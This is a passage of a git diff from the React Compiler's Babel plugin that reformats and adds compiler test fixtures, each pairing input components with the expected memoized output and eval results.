+    t1 = $[3];
+    val1 = $[4];
   }
-  const val2 = t2;
-  let t3;
-  if ($[8] !== val1 || $[9] !== val2) {
-    t3 = <Stringify val1={val1} val2={val2} />;
-    $[8] = val1;
-    $[9] = val2;
-    $[10] = t3;
+  const val2 = t1;
+  let t2;
+  if ($[6] !== val1 || $[7] !== val2) {
+    t2 = <Stringify val1={val1} val2={val2} />;
+    $[6] = val1;
+    $[7] = val2;
+    $[8] = t2;
   } else {
-    t3 = $[10];
+    t2 = $[8];
   }
-  return t3;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.tsx
index 906b3a24472b..673493c313b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.tsx
@@ -1,13 +1,14 @@
-import { useMemo } from "react";
-import { Stringify } from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {Stringify} from 'shared-runtime';
 
-function Foo({ arr1, arr2, foo }) {
+function Foo({arr1, arr2, foo}) {
   const x = [arr1];
 
   let y = [];
 
   const val1 = useMemo(() => {
-    return { x: 2 };
+    return {x: 2};
   }, []);
 
   const val2 = useMemo(() => {
@@ -19,9 +20,9 @@ function Foo({ arr1, arr2, foo }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],
+  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],
   sequentialRenders: [
-    { arr1: [1, 2], arr2: [3, 4], foo: true },
-    { arr1: [1, 2], arr2: [3, 4], foo: false },
+    {arr1: [1, 2], arr2: [3, 4], foo: true},
+    {arr1: [1, 2], arr2: [3, 4], foo: false},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.expect.md
index ad097ab0a974..3a8a7393f511 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 // Compiler can produce any memoization it finds valid if the
 // source listed no memo deps
-function Component({ propA }) {
+function Component({propA}) {
   // @ts-ignore
   return useMemo(() => {
     return [propA];
@@ -16,7 +16,7 @@ function Component({ propA }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2 }],
+  params: [{propA: 2}],
 };
 
 ```
@@ -24,7 +24,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 import { useMemo } from "react";
 
 // Compiler can produce any memoization it finds valid if the
@@ -33,15 +33,13 @@ function Component(t0) {
   const $ = _c(2);
   const { propA } = t0;
   let t1;
-  let t2;
   if ($[0] !== propA) {
-    t2 = [propA];
+    t1 = [propA];
     $[0] = propA;
-    $[1] = t2;
+    $[1] = t1;
   } else {
-    t2 = $[1];
+    t1 = $[1];
   }
-  t1 = t2;
   return t1;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.ts
index 8bd314e7895d..05799ccfa3b6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-with-no-depslist.ts
@@ -1,9 +1,9 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
 
 // Compiler can produce any memoization it finds valid if the
 // source listed no memo deps
-function Component({ propA }) {
+function Component({propA}) {
   // @ts-ignore
   return useMemo(() => {
     return [propA];
@@ -12,5 +12,5 @@ function Component({ propA }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2 }],
+  params: [{propA: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.expect.md
new file mode 100644
index 000000000000..c5bfe197c3af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [, /* isPending intentionally not captured */ start] = useTransition();
+
+  return useCallback(() => {
+    start();
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback, useTransition } from "react";
+
+function useFoo() {
+  const $ = _c(1);
+  const [, start] = useTransition();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      start();
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.js
new file mode 100644
index 000000000000..d7560197f031
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-transition-no-ispending.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [, /* isPending intentionally not captured */ start] = useTransition();
+
+  return useCallback(() => {
+    start();
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.expect.md
new file mode 100644
index 000000000000..844412675584
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [, /* state value intentionally not captured */ setState] = useState();
+
+  return useCallback(() => {
+    setState(x => x + 1);
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees
+import { useCallback, useTransition } from "react";
+
+function useFoo() {
+  const $ = _c(1);
+  const [, setState] = useState();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      setState(_temp);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _temp(x) {
+  return x + 1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) useState is not defined
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.js
new file mode 100644
index 000000000000..e270d4f0192f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-use-memo-unused-state.js
@@ -0,0 +1,15 @@
+// @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useTransition} from 'react';
+
+function useFoo() {
+  const [, /* state value intentionally not captured */ setState] = useState();
+
+  return useCallback(() => {
+    setState(x => x + 1);
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.expect.md
index 70c332c90ed4..4c989cf1ace9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.expect.md
@@ -3,11 +3,11 @@
 
 ```javascript
 function component(a) {
-  let x = "foo";
+  let x = 'foo';
   if (a) {
-    x = "bar";
+    x = 'bar';
   } else {
-    x = "baz";
+    x = 'baz';
   }
   let y = x;
   mutate(y);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.js
index f77284dcd9d2..ccfe3a67ecb5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-alias-mutate.js
@@ -1,9 +1,9 @@
 function component(a) {
-  let x = "foo";
+  let x = 'foo';
   if (a) {
-    x = "bar";
+    x = 'bar';
   } else {
-    x = "baz";
+    x = 'baz';
   }
   let y = x;
   mutate(y);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.expect.md
index 9ac2be35d931..580a97ac19e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.expect.md
@@ -7,7 +7,7 @@
 // separately from props.b)
 // Correctness:
 
-import { identity, mutate, setProperty } from "shared-runtime";
+import {identity, mutate, setProperty} from 'shared-runtime';
 
 //   y depends on either props.b or props.b + 1
 function PrimitiveAsDepNested(props) {
@@ -20,16 +20,16 @@ function PrimitiveAsDepNested(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: PrimitiveAsDepNested,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   sequentialRenders: [
     // change b
-    { a: 1, b: 3 },
+    {a: 1, b: 3},
     // change b
-    { a: 1, b: 4 },
+    {a: 1, b: 4},
     // change a
-    { a: 2, b: 4 },
+    {a: 2, b: 4},
     // change a
-    { a: 3, b: 4 },
+    {a: 3, b: 4},
   ],
 };
 
@@ -49,7 +49,7 @@ import { identity, mutate, setProperty } from "shared-runtime";
 function PrimitiveAsDepNested(props) {
   const $ = _c(5);
   let t0;
-  if ($[0] !== props.b || $[1] !== props.a) {
+  if ($[0] !== props.a || $[1] !== props.b) {
     const x = {};
     mutate(x);
     const t1 = props.b + 1;
@@ -64,8 +64,8 @@ function PrimitiveAsDepNested(props) {
     const y = t2;
     setProperty(x, props.a);
     t0 = [x, y];
-    $[0] = props.b;
-    $[1] = props.a;
+    $[0] = props.a;
+    $[1] = props.b;
     $[2] = t0;
   } else {
     t0 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.js
index 5eda8d42cd8b..c6d7ece69cdb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-as-dep-nested-scope.js
@@ -3,7 +3,7 @@
 // separately from props.b)
 // Correctness:
 
-import { identity, mutate, setProperty } from "shared-runtime";
+import {identity, mutate, setProperty} from 'shared-runtime';
 
 //   y depends on either props.b or props.b + 1
 function PrimitiveAsDepNested(props) {
@@ -16,15 +16,15 @@ function PrimitiveAsDepNested(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: PrimitiveAsDepNested,
-  params: [{ a: 1, b: 2 }],
+  params: [{a: 1, b: 2}],
   sequentialRenders: [
     // change b
-    { a: 1, b: 3 },
+    {a: 1, b: 3},
     // change b
-    { a: 1, b: 4 },
+    {a: 1, b: 4},
     // change a
-    { a: 2, b: 4 },
+    {a: 2, b: 4},
     // change a
-    { a: 3, b: 4 },
+    {a: 3, b: 4},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.expect.md
new file mode 100644
index 000000000000..6c2170feb619
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.expect.md
@@ -0,0 +1,66 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees
+function Component({base, start, increment, test}) {
+  let value = base;
+  for (let i = start; i < test; i += increment) {
+    value += i;
+  }
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{base: 0, start: 0, test: 10, increment: 1}],
+  sequentialRenders: [
+    {base: 0, start: 1, test: 10, increment: 1},
+    {base: 0, start: 0, test: 10, increment: 2},
+    {base: 2, start: 0, test: 10, increment: 2},
+    {base: 0, start: 0, test: 11, increment: 2},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees
+function Component(t0) {
+  const $ = _c(2);
+  const { base, start, increment, test } = t0;
+  let value = base;
+  for (let i = start; i < test; i = i + increment, i) {
+    value = value + i;
+  }
+  let t1;
+  if ($[0] !== value) {
+    t1 = <div>{value}</div>;
+    $[0] = value;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ base: 0, start: 0, test: 10, increment: 1 }],
+  sequentialRenders: [
+    { base: 0, start: 1, test: 10, increment: 1 },
+    { base: 0, start: 0, test: 10, increment: 2 },
+    { base: 2, start: 0, test: 10, increment: 2 },
+    { base: 0, start: 0, test: 11, increment: 2 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>45</div>
+<div>20</div>
+<div>22</div>
+<div>30</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.js
new file mode 100644
index 000000000000..cce3123f94ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/primitive-reassigned-loop-force-scopes-enabled.js
@@ -0,0 +1,19 @@
+// @enablePreserveExistingMemoizationGuarantees
+function Component({base, start, increment, test}) {
+  let value = base;
+  for (let i = start; i < test; i += increment) {
+    value += i;
+  }
+  return <div>{value}</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{base: 0, start: 0, test: 10, increment: 1}],
+  sequentialRenders: [
+    {base: 0, start: 1, test: 10, increment: 1},
+    {base: 0, start: 0, test: 10, increment: 2},
+    {base: 2, start: 0, test: 10, increment: 2},
+    {base: 0, start: 0, test: 11, increment: 2},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.expect.md
index c1a8f7d70fb1..14d3215a2c1e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a, b) {
-  let z = { a, b };
+  let z = {a, b};
   let x = function () {
     console.log(z);
   };
@@ -12,8 +12,8 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -23,28 +23,21 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function component(a, b) {
-  const $ = _c(5);
+  const $ = _c(3);
   let t0;
   if ($[0] !== a || $[1] !== b) {
-    t0 = { a, b };
+    const z = { a, b };
+    t0 = function () {
+      console.log(z);
+    };
     $[0] = a;
     $[1] = b;
     $[2] = t0;
   } else {
     t0 = $[2];
   }
-  const z = t0;
-  let t1;
-  if ($[3] !== z) {
-    t1 = function () {
-      console.log(z);
-    };
-    $[3] = z;
-    $[4] = t1;
-  } else {
-    t1 = $[4];
-  }
-  const x = t1;
+  const x = t0;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.js
index 60e19bfe5e05..c4c997874d25 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prop-capturing-function-1.js
@@ -1,5 +1,5 @@
 function component(a, b) {
-  let z = { a, b };
+  let z = {a, b};
   let x = function () {
     console.log(z);
   };
@@ -8,6 +8,6 @@ function component(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.expect.md
new file mode 100644
index 000000000000..f778c74037d3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.expect.md
@@ -0,0 +1,75 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+/**
+ * props.b *does* influence `a`
+ */
+function Component(props) {
+  const a = [];
+  a.push(props.a);
+  label: {
+    if (props.b) {
+      break label;
+    }
+    a.push(props.c);
+  }
+  a.push(props.d);
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+/**
+ * props.b *does* influence `a`
+ */
+function Component(props) {
+  const $ = _c(5);
+  let a;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
+    a = [];
+    a.push(props.a);
+    bb0: {
+      if (props.b) {
+        break bb0;
+      }
+
+      a.push(props.c);
+    }
+
+    a.push(props.d);
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+  } else {
+    a = $[4];
+  }
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: ["TodoAdd"],
+  isComponent: "TodoAdd",
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.js
new file mode 100644
index 000000000000..770a4794fe07
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-break-labeled.js
@@ -0,0 +1,22 @@
+// @enablePropagateDepsInHIR
+/**
+ * props.b *does* influence `a`
+ */
+function Component(props) {
+  const a = [];
+  a.push(props.a);
+  label: {
+    if (props.b) {
+      break label;
+    }
+    a.push(props.c);
+  }
+  a.push(props.d);
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.expect.md
new file mode 100644
index 000000000000..602859389e3a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.expect.md
@@ -0,0 +1,225 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+/**
+ * props.b does *not* influence `a`
+ */
+function ComponentA(props) {
+  const a_DEBUG = [];
+  a_DEBUG.push(props.a);
+  if (props.b) {
+    return null;
+  }
+  a_DEBUG.push(props.d);
+  return a_DEBUG;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentB(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+  }
+  a.push(props.d);
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`, but only in a way that is never observable
+ */
+function ComponentC(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+    return null;
+  }
+  a.push(props.d);
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentD(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+    return a;
+  }
+  a.push(props.d);
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ComponentA,
+  params: [{a: 1, b: false, d: 3}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePropagateDepsInHIR
+/**
+ * props.b does *not* influence `a`
+ */
+function ComponentA(props) {
+  const $ = _c(5);
+  let a_DEBUG;
+  let t0;
+  if ($[0] !== props.a || $[1] !== props.b || $[2] !== props.d) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      a_DEBUG = [];
+      a_DEBUG.push(props.a);
+      if (props.b) {
+        t0 = null;
+        break bb0;
+      }
+
+      a_DEBUG.push(props.d);
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.d;
+    $[3] = a_DEBUG;
+    $[4] = t0;
+  } else {
+    a_DEBUG = $[3];
+    t0 = $[4];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+  return a_DEBUG;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentB(props) {
+  const $ = _c(5);
+  let a;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
+    a = [];
+    a.push(props.a);
+    if (props.b) {
+      a.push(props.c);
+    }
+
+    a.push(props.d);
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+  } else {
+    a = $[4];
+  }
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`, but only in a way that is never observable
+ */
+function ComponentC(props) {
+  const $ = _c(6);
+  let a;
+  let t0;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      a = [];
+      a.push(props.a);
+      if (props.b) {
+        a.push(props.c);
+        t0 = null;
+        break bb0;
+      }
+
+      a.push(props.d);
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+    $[5] = t0;
+  } else {
+    a = $[4];
+    t0 = $[5];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentD(props) {
+  const $ = _c(6);
+  let a;
+  let t0;
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d
+  ) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      a = [];
+      a.push(props.a);
+      if (props.b) {
+        a.push(props.c);
+        t0 = a;
+        break bb0;
+      }
+
+      a.push(props.d);
+    }
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = a;
+    $[5] = t0;
+  } else {
+    a = $[4];
+    t0 = $[5];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ComponentA,
+  params: [{ a: 1, b: false, d: 3 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [1,3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.js
new file mode 100644
index 000000000000..02edefc77f57
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-early-return.js
@@ -0,0 +1,59 @@
+// @enablePropagateDepsInHIR
+/**
+ * props.b does *not* influence `a`
+ */
+function ComponentA(props) {
+  const a_DEBUG = [];
+  a_DEBUG.push(props.a);
+  if (props.b) {
+    return null;
+  }
+  a_DEBUG.push(props.d);
+  return a_DEBUG;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentB(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+  }
+  a.push(props.d);
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`, but only in a way that is never observable
+ */
+function ComponentC(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+    return null;
+  }
+  a.push(props.d);
+  return a;
+}
+
+/**
+ * props.b *does* influence `a`
+ */
+function ComponentD(props) {
+  const a = [];
+  a.push(props.a);
+  if (props.b) {
+    a.push(props.c);
+    return a;
+  }
+  a.push(props.d);
+  return a;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: ComponentA,
+  params: [{a: 1, b: false, d: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.expect.md
new file mode 100644
index 000000000000..7c2392453ca7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/conditional-on-mutable.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+// @enablePropagateDepsInHIR
+function ComponentA(props) {
+  const a = [];
+  const b = [];
+  if (b) {
+    a.push(props.p0);
+  }
+  if (props.p1) {
+    b.push(props.p2);
+  }
+  return <Foo a={a} b={b} />;
+}
+
+function ComponentB(props) {
+  const a = [];
+  const b = [];
+  if (mayMutate(b)) {
+    a.push(props.p0);
+  }
+  if (props.p1) {
+    b.push(props.p2);
+  }
+  return <Foo a={a} b={b} />;
+}
+
+function Foo() {}
+function mayMutate() {}
+
+```
+
+## Code
+
